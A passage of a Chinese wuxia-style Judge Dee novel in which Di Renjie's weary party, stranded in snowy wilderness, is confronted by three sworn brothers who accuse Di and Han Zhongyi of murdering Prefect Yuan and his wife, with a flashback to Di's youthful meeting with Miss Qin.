伸出来的诸多判断与分析的总结,那如我等听其言者岂非间接受骗?如果那个组织里还存在着如此人一般的暗探,那么他们是否也都得到了同样的消息呢?还是说这打从起初便是一个巨大的骗局,是他们策划好的反间计,让所有潜伏在他们内部的暗探在得知了假消息后先自动起来,然后他们内部的一切非暗探人员集体上演一场消息泄露以后必须对所有怀有二心的知情者进行杀人灭口的行动的终极假象,也正是使出了敲山震虎之计来斩草除根呢?那么虚虚实实,究竟谁真谁假?真为真尚不足,所以为假者亦须为真。真假却难以成真,而假真本假,也无须成真。也有可能双方面皆是假,而我们眼中的假,亦为事实之假象,因而又是藏在最深处的真相。那么真假相互交错,又如何分辨得清呢?这时候我又怎么能用理论来证明我的所见所闻呢?我能用推理来证明我眼前出现的诸般人事乃是真实亦或虚假的吗?我告诉你们,我不能。可是我依然相信他是真的,为什么呢?因为他像。好好好,我知道,你们这时候都在笑话我。一个断了这么些年案的老头子,竟会说出这样的话来,这难道不好笑吗?可你们想想,如果把一个只是为了要使计蒙骗人而装出来的暗探跟一个真正潜伏了有十三年之久的真实暗探相较起来,他们二人能一样吗?他眼神中所流露出来的那种真诚与恳切,还有他后来发自内心深处绝望的哭喊,又岂是常人所能体会的?而就凭这个,我就完完全全地相信了他身份的真实性。所以我常常跟你们说,不要只看事物表面的现象,也要看内心深处的实际。而内心的深处乃是肉眼所不能见的,却是同样可以用心灵去感受出来的,也就是我刚不久前才说的,要凭感觉。因为理智常常会欺骗人,更会欺骗理智本身的主人,也就是你自己。理智受到了外在的表面现象和你生命中有限的经历所局限,视野和判断常常是狭隘的。可那感觉就不同了,因为它是直观的,所以并不会受外在的世界所限制。它所带给人的那第一反应的细微影响常常超过了一系列理智的活动所能达到的终极结果。它出现时的微弱与它带给人的感受的强烈都是与理智相比极为巨大的反差。它在你心灵里轻描淡写的一句话可以让你一切理智的判断尽皆失去功效。或者说,在实际的感触面前,这些尽都成为了可有可无的附属品,不再起到任何主导的作用,而仅仅是用来验证自己最初那未经诸事时便拥有的若隐若现的决断。所以在真实的实际面前,这些看似实际而实际上却是非实际的实际尽都变得不实际了,反而衬托出了那真实的实际实际的实际,使他不耀眼而又温暖的光芒在有限的短暂中发出永恒而又无限的照亮。人世间的一切,在这里面尽都得到了答案。这就是感觉。”说完这段话,感到喉咙如火烧,咳了几声,痛得说不下去了。 洪辉在地上抓了一把雪,递给狄仁杰道:“先生说累了,先吃点雪润润喉吧。” 狄仁杰吞了几口雪,冰冰凉凉的,感到喉咙舒服些了。 洪辉几人也都口渴了,一起蹲下来吃了点雪。 胡乐把雪吐出来道:“饿得慌。” 几人也都饿了,遂取出饼来吃。 韩忠义一面吃,一面道:“大人刚才那番推论,卑职也是非常地赞同。这有的事啊,它确实是无法伪装的,那这真实性也就毋庸置疑了。就比如,昨晚那个暗探吧,他那神情啊,确实不像是装的。” 胡乐吞下一口饼道:“那你看不看得出鹃妹妹是不是装的呀?” 另外几人一听都是一惊,有的将饼咽了下去,有的嘴巴停住不嚼了,有的刚要再咬一口饼的嘴呆住了,有的呛得直咳嗽。 几人齐望向胡乐,又都去看韩忠义,见他嘴巴兀自嚼动着,却不知他嘴里到底有没有饼。 又见他把嘴里的东西咽了下去,却不知是嚼烂了的饼,还是在咽唾沫和空气。 几人看得心惊肉跳的,深怕他们又要吵起来,吓得连劝都忘了劝。 胡乐那一句话说完之后,一直盯着韩忠义看,脸上似笑非笑,嘴巴却也缓缓地嚼动着。 他那一口饼都已经吞下去了,又没有再吃,那他到底在嚼些什么呢? 可能是在嚼着正在等待韩忠义反应的心情吧。 韩忠义在胡乐那一句话后,一直低着头,也是似笑非笑的神情,不知是在看着手中拿的那半块饼呢,还是在看那半块饼后面的雪地。 这时抬眼望向胡乐,开口说道:“你什么意思?” 胡乐摇头笑道:“我没什么意思。” 韩忠义笑道:“你找茬是不是?” 胡乐摇头笑道:“我不找茶,我找杯。” 韩忠义笑道:“你找悲?” 胡乐点头笑道:“啊,对。” 韩忠义呵的一笑道:“唉呀,只怕悲多到你茬没处儿喝呀。” 胡乐哼的一笑道:“你有茬我就有杯,这你不用愁。” 韩忠义哈哈一笑道:“我是有茬呀,你要不要啊?” 胡乐笑道:“好啊,那你给我多来点儿啊!” 韩忠义哼哼一笑,点头道:“嗯,行啊,我茬多得是。只怕你杯不够,没处儿装啊。” 胡乐笑道:“我杯也多得是,只怕你茬不够啊!” 韩忠义道:“那我给你装点儿?” 胡乐笑道:“欸,不用装啦,你不都已经装够了嘛。” 韩忠义哼哼笑道:“我是装够了呀,可你还没装够呢。” 胡乐道:“欸,我都已经喝过你的茬啦,哪儿还用得着装呢。” 韩忠义眯着眼道:“可我怎么看你还需要装呢。” 胡乐笑道:“你需不需要来点儿悲啊?我这儿多得是,给你点儿装茬用。” 韩忠义哼哼笑道:“我看你比我更需要装,那还是留给你自己用吧。” 胡乐道:“我不用装,因为我不渴。” 韩忠义冷笑道:“一个人若要等到渴了时候才装,那是不是晚了些啊?” 胡乐点头道:“哦,原来你从来都不渴,是因为你平时都装够了呀。” 韩忠义道:“是个人又怎能不渴?” 胡乐抢道:“是啊,那不口渴的就不是个人了!” 韩忠义哼了一声道:“总比有些每时每刻都口渴,所以得不停地装的人好吧?啊?哼,这世上的茬有那么多供你喝么?” 胡乐瞪眼道:“我就喝你的茬,只怕你没有那么多给我!” 韩忠义狠狠道:“我茬多了去了,可以让你尽量地装!” 胡乐一字一顿叫道:“只可惜我杯子没你大,装的没你多!” 韩忠义怒喝:“我大杯子也就只有一个,不像你小杯子有一大堆!我装他妈的一次也就够了,我不像你天天装!” 几人先是听二人打哑谜,知道有些不对劲了,却也都插不上话。 这时听他们又叫骂了起来,便也又都七嘴八舌地乱劝。 狄仁杰叫道:“唉呀我都说你们别再提那件事啦!” 韩忠义暴跳如雷,将饼狠命一摔,狂叫:“我都没有再提啦!是他!他妈!” 胡乐一脸挑衅的神色看着他叫道:“我就提了,我就提了,你王八蛋韩忠义怎么着!”说着哈哈大笑。 洪辉叹口气道:“胡乐哥,这就是你的不对了。” 狄仁杰怒叫:“胡乐!你再这样我不客气了!”说着又大咳了起来,几人忙替他揉胸捶背。 马肃叹道:“胡兄弟啊,你这不是故意要把狄公气死?” 韩忠义哼了一声,看着胡乐道:“你主子派大人出来办案,难道就是为了要害死他?” 胡乐一怔,道:“你说什么?” 韩忠义道:“你我心知肚明。” 胡乐见狄仁杰脸色像鬼,确实是快死了的样儿,心下歉疚,道:“老爷,我……唉,我错了。我……我以后再也不说了嘛。”说着苦着个脸,几乎要哭了出来。 狄仁杰叹了口气,道:“罢了罢了,都别再提了。”又道:“把地上的饼都捡起来,别浪费食物。” 接下来行了数日,皆是荒无人烟的旷野。 阳光虽很明媚,也没怎么下雪,可天气依旧很凉。 白天行走时还能忍受,夜间睡觉时真是难受。 几人身上的饼也用尽了,再无干粮,只能靠吃雪充饥。 这时都感到肠胃不适,一齐蹲下来愁眉苦脸。 胡乐道:“哎哟我的妈呀,我肚子痛死了……我好像又要出恭了……” 韩忠义道:“我们再这么继续吃雪,不是饿死也得病死。”环顾四周道:“他妈的,这里除了雪就连个树都没啊。” 洪辉道:“是啊,当时我跟狄先生狄宁哥,我们靠着啃树皮儿、树枝儿,也就这么挺过来了。可这会儿,怎么连个树都没有,我们看来真得饿死了。” 狄仁杰道:“我们再忍忍,继续走下去。只要有了市镇,就可以买吃的了。” 几人遂又走了一时,见前面有个湖,水都结成冰了。 狄仁杰道:“好像没别的路了,看来我们也只能过湖了。” 鹃儿道:“我们走在冰上,不会掉下去吧?” 梅四儿道:“对啊,我看有点危险啊。” 韩忠义道:“放心,我们都不会掉的,只有那又肥又矬的才会掉。” 胡乐肚子痛,没力气理睬他。 湖的对岸都是高耸的雪山,一望无际都是白。 日光照在冰雪之上,闪闪发亮,刺眼非常。 几人先是在湖边敲打了半日湖面上的冰,都觉得应该够结实,方准备一齐过湖。 这时忽听得马蹄声响,几人忙一回头,只见三骑快马正疾驰而来。 奔至近处,三人勒住了马,在上面打量了番狄仁杰他们。 带头的微一皱眉,“咦”的一声,道:“有点儿像啊……”回头道:“拿出来对照一下。” 后面两人随即取出了几张纸,展开来跟带头的一齐看。 狄仁杰几人见纸上好像有图有文,倒也颇为眼熟。 马上三人看了几眼纸张,又瞧了几眼狄仁杰他们,眉头都越皱越紧。 狄仁杰、韩忠义二人突然反应了过来,互看一眼,几不可闻地说道:“通缉令。” 马上那带头的看着狄仁杰几人点头道:“嗯,没错,就是他们。” 后面那大汉声若雷鸣,道:“妈的,找了咱那么久,原来就在这儿呢!” 另一个青年手摇折扇,哼哼微笑道:“远在天边,近在眼前啊。” 狄仁杰向三人作揖道:“敢问几位,找的是谁?” 带头的冷笑道:“你。” 狄仁杰道:“哦?几位寻的是我?” 那大汉道:“你别装啦狄仁杰,我们都知道是你了!” 狄仁杰与韩忠义几人又互看了看,说道:“哦,那既然几位都知道了,那我也就不隐瞒了。不错,我就是狄仁杰。” 带头的道:“你还算识相。” 韩忠义道:“你们是谁?” 带头的冷笑一声,道:“韩忠义,我们会让你死个明白的。” 韩忠义道:“你们手上拿的是我们的通缉令,看来你们是冲着我们而来啊。” 带头的道:“不错,我们就是冲着你们来的。” 韩忠义冷笑一声,道:“可惜啊,你们现在就算是抓到了我们,也领不到赏银了。” 那大汉喝道:“我们稀罕你妈的狗屁赏银!我们来是要剁你们的狗头!” 韩忠义道:“你们不是为了赏银?” 那青年哈哈一笑道:“钱乃身外之物,何足道哉。可道义就不容推辞了。” 那带头的冷笑道:“看你们如今这副模样儿,恐怕一路也没少受罪吧。” 洪辉叫道:“你们到底要怎么样啊!” 马肃冷笑道:“莫非又是来送死的?” 带头的冷笑道:“还有你马肃,你也别想活。” 胡乐道:“哟,这跟俺好像没啥干系啊,那我先走了哦……” 韩忠义一把扯过来喝道:“你他妈的肚子不痛了?” 这时细看,见那带头的形容冷峻,须发飘然,身穿袍服,腰悬长剑,是个四十来岁年纪的道人。 他后面那大汉豹头环眼,燕颔虬髯,体格魁伟,身穿大棉袄,手腕上还缠着一长串铁链,看上去也有三十来岁年纪。 旁边那青年面容白净,书生打扮,最多也不过二十来岁。 这三人从大到小,一个是道士,一个是粗汉,还一个是书生,竟然一同出现在了一块儿,不免有些古怪。 胡乐指着他们笑道:“你们莫不是戏子?” 那大汉喝道:“你妈才是戏子!” 那带头的道人道:“不用跟他们废话。” 狄仁杰道:“不知狄某什么地方得罪了几位……” 那大汉喝道:“你闭嘴!你们作恶多端,今日总算让我们找着了,那便饶你们不得!” 胡乐道:“你们又是什么东西?” 那书生道:“人也,非物。”又叹道:“虽如在下读书之人,然听闻这等伤天害理之举,亦不由得感伤世风日下,古之春秋大义不复存焉!甚而家国宰相等辈,或美其名曰‘忠义’之徒,亦悉沦丧至此!吾是以义愤满怀,又安能任凭凶恶逍遥法外,不为自己之罪孽付出代价!” 几人见他说得泪流满面,有的暗笑,有的心酸,还有的不知所云。 狄仁杰看着他道:“年轻人,你才这么大,就能如此的明理,这实在是难得啊。” 那书生擦了擦泪,看着狄仁杰道:“我今日最后叫你一声狄大人,你……你曾是我钦慕的榜样啊……”说着又哭了。 那大汉道:“老弟,你甭哭,这虚伪的狗东西不配做你榜样!” 洪辉指着怒道:“你骂谁是虚伪的狗东西!” 那大汉道:“骂你妈!” 洪辉怒叫:“你敢骂我娘!”就要冲过去拼命,几人忙拦住。 那书生一时伤感,竟哭得更加厉害了。 那大汉愈躁,骂道:“你哭个屁呀你个脓包!” 那书生哭道:“哥呀,我的榜样没啦!” 那大汉喝道:“姓狄的就不是个人儿,算个狗屁榜样!” 洪辉叫道:“狄先生当然是个好榜样!” 韩忠义道:“大人做错了什么,你们这么恨他?” 那道人道:“韩忠义,你别想着撇清关系。” 韩忠义怒叫:“我撇什么关系呀!我跟大人永远在一起,他的事也就是我韩忠义的事!你们既说他犯了错,那我韩忠义自然也是同谋了!你们倒是说说看哪!” 那道人冷笑道:“是啊,你跟你主子狄仁杰本就是一伙儿的,那案子自然也是你们一齐犯的。” 马肃怒道:“狄公韩将军他们犯了什么案哪!你又说不出来,还血口喷人!” 那道人哼了一声,道:“姓马的,要不是你当时出手相救了,这两个狗贼早已被眼睛雪亮的群众乱刀分尸了!” 狄仁杰几人一听,突然都想了起来,齐道:“秦州刺史府!” 那道人道:“好!你们总算是记起来了。” 狄仁杰叹了口气。 韩忠义道:“你们是那姓远的派来的?” 那大汉喝道:“没人儿派我们来!” 胡乐道:“‘没人儿’派你们来?” 大汉道:“对!” 胡乐道:“哦,派你们来的那个人儿叫‘没人儿’啊。” 大汉道:“没人儿就是没人儿,哪儿又多出个人儿了?” 胡乐道:“哦,对嘛,‘没人儿’就是没人儿,看来‘没人儿’就不是个人儿。” 大汉道:“对对对。” 胡乐道:“哦,派你们来的那个人儿……哦对不起,不是个人儿,派你们来的就不是个人儿。” 大汉道:“对对对,你懂了吧?” 胡乐道:“嗯,懂了。” 那道人道:“狗奴才,拐着弯儿骂人呢。” 胡乐道:“没呢,都不是个人儿,骂谁呢?” 那大汉道:“大哥,他刚才骂人儿啦?” 那道人哼了一声,道:“我现在不想跟你们多废话。只是你们马上就要死了,我得让你们死个明白。否则你们连自己为什么会死都不知道,那我们杀了你们又有什么意义呢。” 韩忠义冷笑道:“就凭你们?” 那道人看了他一眼,冷笑道:“韩忠义,我知道你武功高强。这要是在平日啊,我自然是敌不过你。可你看看你现在这脸色,哼哼,恐怕支撑不了多久了吧?” 原来韩忠义自那夜大战杀手受了严重内伤,身体本就虚弱不堪。 之后不但未曾好好保养,反倒接连动气,声嘶力竭,不知不觉已经得了大病,而尚不自知。 如今又接连几日挨冻受饿,精神状态自是每况愈下。 这时听他这么一说,不觉呆住了。 几人见韩忠义瞪大了眼,嘴唇颤抖,冷汗直流,都有不祥的预感。 韩忠义隐约只见面前有几匹马,马蹄好像在雪地上轻轻地摆动,那到底是雪还是冰啊? 好像冰跟雪混在了一块儿啊…… 感到一阵冷风吹来,好像浑身颤抖了一下,赶紧抬头看看,发生了什么? 天上那缓缓飘动的是什么? 雪花? 雪花在动,哈哈哈哈哈…… 远处的山上有几棵光秃秃的树木,它们也在动啊,它们在向我招手。 感觉肺部有点痒痒,我想咳嗽啊…… 不,不能咳,我在我口干舌燥的嘴里咽一口唾沫,你别再痒了…… 不行,我受不了,我还是要咳出来。 狄仁杰几人见韩忠义手按胸口,弯着腰使劲咳嗽,青筋都暴了出来。 感觉右眼皮一直在抖,眼睛酸酸的,我……我要死了吗? 生与死的界限,就这么一瞬间啊…… 韩忠义突然尖声狂笑了起来,连马上三人都唬了一跳。 那道人本只是随口一说,没想到韩忠义反应会这么激烈,倒是意料之外的事。 狄仁杰叫道:“忠义!你怎么啦!” 其他几人也跟着叫。 韩忠义突然止住了笑,猛一扭头,双眼却望向别处,道:“有人在叫我?嘻嘻嘻嘻嘻,嘻嘻嘻嘻嘻……” 几人明白,韩忠义已经彻底癫狂了。 那道人喝道:“行啦韩忠义!你别装疯卖傻了!怕死就跪下认个错,你道爷爷或许会饶你一命!” 韩忠义一听,手舞足蹈叫道:“你道爷爷是我!啊……!”突然双手抱头,看着湖面上的冰道:“我……我是谁?” 那大汉喝道:“你是韩忠义!跟你主子狄仁杰一块儿滥杀无辜,害死了前任远刺史,还奸杀了他夫人的狗贼!” 韩忠义缓缓转过头去,微笑道:“我没有。” 突然耳朵里发出巨响,吓得他赶忙向前一扑,趴倒在地,双手狠抓地上的冰雪,一面尖声狂叫。 狄仁杰几人都忙去扶他,大声乱劝。 韩忠义满面泪痕哭道:“不要,不要,你不要啊……”又一脸茫然颤道:“我求求你,我求求你,你不要再让我受苦了……” 狄仁杰叫道:“忠义!你别胡思乱想了!” 韩忠义望着他含泪苦笑道:“我没有胡思乱想,这都是真的……” 狄仁杰也含泪道:“什么是真的?” 韩忠义摇头道:“我也不知道……”突然指着远处叫道:“你别敲哦,你别敲哦!你不要烦我,我不想听你的声音!”霍地跳起身来,斜眼看着那道人道:“我韩忠义武功高强,我不怕你!”大叫一声,运起十足内力,双手向他击去。 不料使出了这平生武功之极致,竟连空中落下的雪花都没有改变方向。 韩忠义大吃一惊,又是几掌击去,却仍无丝毫反应。 那道人见了哼哼冷笑,大汉见了摇了摇头,书生见了愣了一愣。 狄仁杰几人一见却是全都呆住了,大眼瞪小眼,不知所措。 韩忠义也呆了,低头看了看自己颤抖着的双手,又看着在场的所有人道:“我武功没了,我武功没了……” 狄仁杰道:“忠义,你别多想……” 另外几人也正待安慰几句,却见韩忠义早已倒了下来,不省人事了。 原来适才韩忠义癫狂之际,鹃儿便瞪着眼发呆。 这时见他倒下了,自己方清醒了过来。 可顷刻之间,脑海中却浮现出了许许多多可怕的画面,而最近的便是竹林之夜的生离死别。 平生的种种遭遇仿佛利刃般刺痛着她的内心,令她恐惧、绝望。 她含着泪水,抬头看了看刺眼的日光。 她感到很温暖,可这种温暖的感觉却只令她更加的迷茫。 她觉得这一缕缕阳光实在是太美好了,就连空中缓缓飘落的一片片雪花都是那么的美丽。 她想:“我根本就不配享有这些。” 不论是亲情、友情、爱情,人世间的一切美好,它们都不属于我。 可是这些我偏偏都得到了,而且我还能照到太阳啊。 我不配,我不配呀…… 为什么这世界这么美好,而我选择看到的却是黑暗呢? 但凡我心中还有那么一丝光明,就像照亮世界的太阳一样,我又怎么会感到痛苦呢? 这些我都明白,可是…… 我困了在当中,无法解脱呀…… 狄仁杰几人见鹃儿一面笑,一面来回扇自己耳光,都大吃一惊,忙来阻止。 几人越阻止,鹃儿便咬牙切齿的扇得愈加厉害,一面笑得更大声了。到后来直变作了狂笑,用指甲在自己脸上抓出了一道道血痕。 几人使劲掰开了她的手,不让她再抓,她便尖声狂叫,又恶狠狠地瞪着几人喘气。 胡乐、洪辉二人哭劝,叫得比谁都大声。 一时鹃儿也昏了过去,不省人事了。 马上三人见了,都互看一眼,也均感惊异。 那道人冷笑着摇了摇头,道:“唉呀,看来你们作恶太多,上天都报应了。要是再倒下一两个,也就用不着我们动手了。” 胡乐指着怒叫:“你闭嘴!王八蛋!他妈的……”又哭道:“我们做错了什么,那么多人恨我们……” 洪辉哭道:“哥,你不用哭!我们什么都没有做错!” 狄宁也叫:“对,我们没有做错!” 马肃也叫:“我们没错!” 梅四儿见韩忠义都已经倒下了,且接下来的胜负也还未知,不敢叫太大声,咽了口唾沫,只颤抖着轻轻说道:“我们……没错……” 胡乐喝道:“姓梅的!你干吗抖!” 梅四儿抖道:“我……我没有抖……” 洪辉喝道:“姓梅的!你怕了就给我滚!” 梅四儿怕道:“我……我没有怕……” 那道人哼哼冷笑,道:“狄仁杰,你是跪下磕头认个错呢,还是去鬼门关走一趟?” 胡乐叫骂:“我们认你妈了个屁错!” 那大汉喝道:“你们就是不认是不是!” 洪辉叫道:“没错就是没错!有错我们自然会去认,可现在我们就没有错,你们到底要我们认什么!” 那大汉大喝:“要你们认错!” 这一声振聋发聩,附带内劲,几人感到耳膜都要穿孔了。 狄仁杰脑袋一阵晕眩,直接坐倒在地。 胡乐左手扶起狄仁杰,右手按着自己脑袋道:“哎哟妈呀,狮吼功啊……” 那大汉大笑数声,道:“不是狮吼功,是‘史吼功’!” 胡乐道:“妈呀,你的‘屎吼功’好臭啊!” 那大汉怒道:“不是那个‘屎’,是历史的‘史’!”又自我介绍道:“我名儿叫史不放,因为我妈生我生得很艰难,就说我死也不肯放手,于是就起名儿叫做史不放!” 胡乐道:“那你都生出来了,怎么现在还是死也不放过我们呀。” 史不放道:“这你就不懂了吧!我史不放这辈子都死也不放,岂止出生呢!” 胡乐跌足道:“唉呀那咱倒霉咯!” 史不放道:“苍蝇不钻没缝蛋儿!你们要没点儿问题,咱们干吗要找上你们呀?” 洪辉哼道:“我们是没问题啊,可你们不也照样找上了吗?” 史不放喝道:“就是因为你们有问题,所以咱们才找上的!” 那书生道:“既然二哥都自我介绍了,那小弟也来一个。这个,小生薛文,微末出身,苦读十年寒窗。此次本待赴京赶考,途中却因事阻滞,便无奈耽搁了。所幸于饭馆之中,邂逅了二位兄长,既言谈投机,又一见如故,便义结金兰,拜为了兄弟……” 胡乐摆手道:“没人想听你自我介绍。” 史不放怒道:“肥矬!你怎地跟我三弟说话!” 那书生薛文道:“没事儿……” 梅四儿正担心要打起来,一听有人叫他,便忙抬头应道:“在在在。” 胡乐骂道:“你滚一边儿去!没人儿叫你!” 史不放道:“没人儿?没人儿在哪儿啊?” 胡乐骂道:“在你妈的肚子里!” 史不放道:“俺妈的肚子里?那不是我吗?” 胡乐骂道:“就是你!你就是没人儿!没人儿就不是个人儿!你就不是个人儿!你满意了吧!” 史不放怒道:“啊!你气死我啦!我要杀了你们!” 那道人一个手势制止道:“二弟,不要着急,先让三弟说完。” 薛文笑道:“剩下还是留给大哥来说吧。” 那道人“嗯”了一声,道:“好。贫道道号空虚……” 胡乐道:“嗐你都空虚了那还说个屁呀。” 史不放喝道:“肥矬!大哥说话儿了时候,你别他妈的插嘴!” 空虚道人冷笑一声,续道:“贫道此次下山,本也不愿多与俗事纠缠……” 胡乐道:“那你就滚回山上炼丹药去。” 空虚道人续道:“争奈半路,听说了一件骇人听闻之事……” 胡乐道:“那你就把耳朵闭上。” 狄仁杰断喝。 空虚道人见了,微微点头,“嗯”了一声,又续道:“这件骇人听闻之事,便是在秦州刺史府发生的命案。实不相瞒,两位被害人,都曾经接待过贫道。这是几年前的事了,我当时来到秦州境内,身上的盘费用尽,自然就来到了刺史府……” 胡乐道:“讨饭?” 空虚道人冷笑两声,道:“也可以这么说吧。不过当时远刺史还有他的夫人,他们见我是修道的,便客客气气地留我下来,款待我饱食了一顿,又给了我盘缠。就这样,我一路便顺顺当当地走完了。” 狄仁杰点头道:“我明白了,道长是为了报答远刺史和他夫人的一饭之恩。” 空虚道人朗声道:“不错!贫道自来恩怨分明,既然不能再报恩了,那也必须要为他们报仇!然即便我并不认识他们,这个公道,我也照样要为他们讨回来!我虽是修道之人,不欲多管俗事,可也并非遇到不公而袖手旁观者!能下此毒手的无耻之徒,不应活在人世!所以我不为别的,就为了我心中尚存的那一点良知,我也要管!” 史不放、薛文听了,一齐叫好。 空虚道人三人却随即一怔:原来狄仁杰、洪辉二人也跟着一齐叫好了。 史不放道:“你们叫什么好啊?” 胡乐也道:“是啊,你们叫什么好啊?” 狄仁杰道:“道长的慷慨之言,真令狄某敬佩。因此不由得不叫好。” 洪辉道:“是啊,大丈夫就当如道长这般,恩怨分明!” 空虚道人听了,微一眯眼,道:“你们难道听不懂我的话吗?我刚才说的那下毒手的无耻之徒,指的就是你们。” 洪辉道:“我们当然听懂了!我们也正是知道那下毒手的并非我们,所以我们才敢坦然无惧地叫好。我们愿意与道长一同抓到那个真凶。” 空虚道人又眯了眯眼,道:“整个秦州城的人都看到了你狄仁杰还有韩忠义站在杀人现场,而且就站在那位可怜的夫人的尸首旁。”顿了一顿,又望着远处缓缓道:“贫道当年虽与她只有过一面之缘,只知道,她姓秦。可就在那一顿饭的功夫里面,她的真诚、善良,甚至是她外表的美丽,都给我留下了深刻的印象。贫道这辈子也并非没见过女人,可这位秦夫人……她很特别。她是一个多么好的人哪,可为什么却会落得如此下场呢?”说着苦笑了一声,叹了口气。 狄仁杰听他这么一说,不觉又想起了年轻时的秦夫人…… 不,那时候是……秦小姐。 记得当时自己也还年轻,正与远刺史…… 远靖兄一同前往应试的路上。 这日正行间,天上忽然下起了雨,二人便跑到路旁一个亭子里去避雨。 不料这时亭子里还有两个人。 其中一个青衫女子正倚着栏杆坐着,手中拿着本书。 旁边站着一个小丫鬟,瞥见了狄仁杰二人淋成落汤鸡的样子,扑哧的一声笑了出来。 那青衫女子笑道:“傻丫头,你笑什么?” 丫鬟朝二人一指,忍笑道:“小姐,你看这两个呆子。” 这时狄仁杰、远靖二人看到了那青衫女子的侧脸,确实已经呆了。 狄仁杰忽然察觉这样盯着人家看不好,遂连忙转过了身去,一面用手臂碰碰远靖,意思叫他也自重些。 远靖却仍是瞪瞪的,无法再将视线从那青衫女子身上移开了。 那青衫女子这才发现有人,倒唬了一跳,轻轻“啊”了一声,忙回过了头。 那丫鬟轻轻哼了一声,看着二人道:“你们两个这么直勾勾地看着我家小姐,也不臊得慌!看你们也是读书人的模样儿,怎么这么失礼!”说着翘起嘴来。 远靖这才清醒,道:“我……我……” 那丫鬟见了,又是扑哧一笑。 狄仁杰忙施礼道:“得罪二位姑娘了。我们二人乃行路之人,因骤降大雨,便来此暂避。不料竟冒犯了二位,还望见谅。” 那青衫女子早羞红了脸,用书挡住侧面,并不望向狄仁杰二人,只轻声说道:“公子多礼。小女子也是偶来闲坐,正与小婢媛儿共待雨停。便是素日也少有人来此,不承望雨天竟会有人来。” 远靖满面通红,手足无措。 狄仁杰笑着拍了拍他,又向那女子道:“哦,我们也没有料到。” 那丫鬟媛儿笑道:“你们怎么会没有料到?” 狄仁杰看了一眼远靖,轻轻一笑,道:“这个……应该是天意吧。” 媛儿又笑了,道:“果然是个书呆子,明明就是你们自己选择跑来的,还说是天意呢。” 那青衫女子脸更红了,从书上看了一眼媛儿,轻轻地摇了摇头,意思叫她别再说了。 媛儿笑了笑,点了点头。 这时雨渐渐小了,雨水沿着亭子的屋檐一滴滴地落下来。 狄仁杰望着远方葱郁的树木,绵延的群山,在雨后更显得苍翠欲滴。 远靖并未多说一句话,心里却盼着这场雨永远也不要停。 后来雨还是停了,两位女子行了个礼就准备走了。 狄仁杰还了个礼,远靖在旁却是一动不动,只呆看着那青衫女子的背影。 刚要下台阶,那青衫女子忽然轻轻一回眸,看了二人一眼。 媛儿扶着她,轻声笑道:“小姐,我们快走吧,夫人在家都等急了。” 那女子脸一红,忙回过头,跟丫鬟一起去了。 后来才知道,那青衫女子便是本地大户秦家的千金。 她的音容笑貌,言谈举止,在狄仁杰的脑海中仍是历历在目。 就在不自觉要叫出口时,忽听得各种声音传来 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狄仁杰大叫:“我没有!”一面流下泪来,又摇头哭道:“她是……她是我爱过的人……我……我怎么可能会去杀她……” 那书生薛文道:“真的不是你杀的?” 狄仁杰闭着眼缓缓摇头。 胡乐叹道:“唉呀,原来老爷……也爱过人哪。” 狄宁道:“能爱一个人多好啊。” 洪辉叫道:“好!当然好!” 空虚道人继续追问:“狄仁杰,你怎么证明不是你杀的?” 狄仁杰摇头道:“我没有办法证明。” 空虚道人哼哼几声,道:“那好,那我问你,你为什么会出现在秦夫人的被害现场?” 狄仁杰道:“是她叫我去的。” 空虚道人道:“她?你是说秦夫人?” 狄仁杰道:“对。” 空虚道人道:“哦,那她为什么叫你去啊?” 狄仁杰道:“因为远刺史被害了,她要跟我……见个面。” 空虚道人点头“嗯”了一声,道:“我明白了,她要约你见面。这么说,秦夫人被害以前,你们已经见过面了?” 狄仁杰道:“是的,我跟忠义刚到秦州的那一日,就已经跟她见过面了。” 空虚道人道:“然后次日她就被害了。” 狄仁杰叹了口气。 空虚道人想了想,道:“这么算来,远刺史是在你到达秦州前的两天被害的……” 狄仁杰忙道:“不,那是假消息。” 空虚道人道:“什么假消息?” 狄仁杰道:“那是秦夫人和几个官吏商议过后,为了避免城中动乱,故意传递出去的假消息。远刺史实则已经死去有一段时间了。” 空虚道人道:“哦?远刺史难道不是被你两天前杀害的吗?” 狄仁杰道:“两天前我还没有到秦州。” 空虚道人道:“那你在哪儿?” 狄仁杰叹了口气,道:“扶着小半块桅杆,漂流在寻阳江上。” 胡乐、狄宁、马肃齐道:“这我们可以作证,当时我们船沉了,我们几个扶着另一半桅杆。” 空虚道人听了哼哼冷笑。 史不放喝道:“简直就是放他妈的屁!” 洪辉喝道:“我放你妈的屁!怎么了!” 史不放喝道:“胡说八道!这世上哪儿有那么多巧合!” 胡乐喝道:“你他妈的能找上我们,这就是天底下最大的巧合!” 史不放喝道:“我们就找到啦!” 胡乐喝道:“所以很巧!” 狄仁杰道:“你们既相信秦州百姓所传,远刺史死于我到来的两天之前,却又为何不信他是因得暴病身亡?这难道不同样是百姓所传吗?” 空虚道人冷笑道:“你的意思是说,秦夫人是在害你,所以才故意传出了这个谣言?” 狄仁杰道:“我没有这个意思。” 空虚道人道:“那为什么你到来的第二天秦夫人就被害了呢?” 狄仁杰叫道:“我不知道!” 空虚道人道:“而且你就出现在杀人现场。” 狄仁杰摇头。 空虚道人哼了一声道:“正是因为你爱她,而你又得不到她,所以你不但恨她,你也恨她的丈夫。” 狄仁杰指着大叫:“你血口喷人!”突然感到头痛欲裂,几欲昏厥,几人赶忙扶住。 史不放哈哈大笑道:“姓狄的恼羞成怒啦!” 狄仁杰喘着粗气,眼睛含泪。 空虚道人道:“你因为嫉恨得到她的那个人,也就是她的丈夫远刺史,所以你就先行对他下了毒手,而后又对这位可怜的夫人施暴。这时候你所谓的爱转成了恨,便持刀杀害了她……” 狄仁杰听得脸上的肌肉都扭曲了,大声狂叫了起来。 洪辉几人都疯也似的指着那道人乱骂。 史不放叫道:“大哥!不用多说了!姓狄的就是凶手,咱剁了完事儿!” 突然眼前一片金光闪闪迷住了视线。 原来是洪辉抱了个满怀的雪,向马上三人直抛了过来。 空虚道人只微一侧脸,史不放、薛文二人倒唬了一跳,“哎呀”叫了声。 洪辉又是一大把雪朝三人抛来,一面叫道:“你们快走!” 狄仁杰定了定神,叫道:“带上忠义、鹃儿,我们快走!” 胡乐道:“老爷,走哪儿?” 狄仁杰叫道:“过湖!” 忽听得一声大喝如雷,伴随着铁链撞击之声,又一声惨叫,一人倒了下去。 竟是史不放猛挥腕上铁链,瞬即击中了洪辉面门。 狄仁杰几人见他倒在了雪地里,满面鲜血,都“小辉”“兄弟”的乱叫。 正待去扶,只听得当啷啷之声,那铁链附带内劲再度横扫将来。 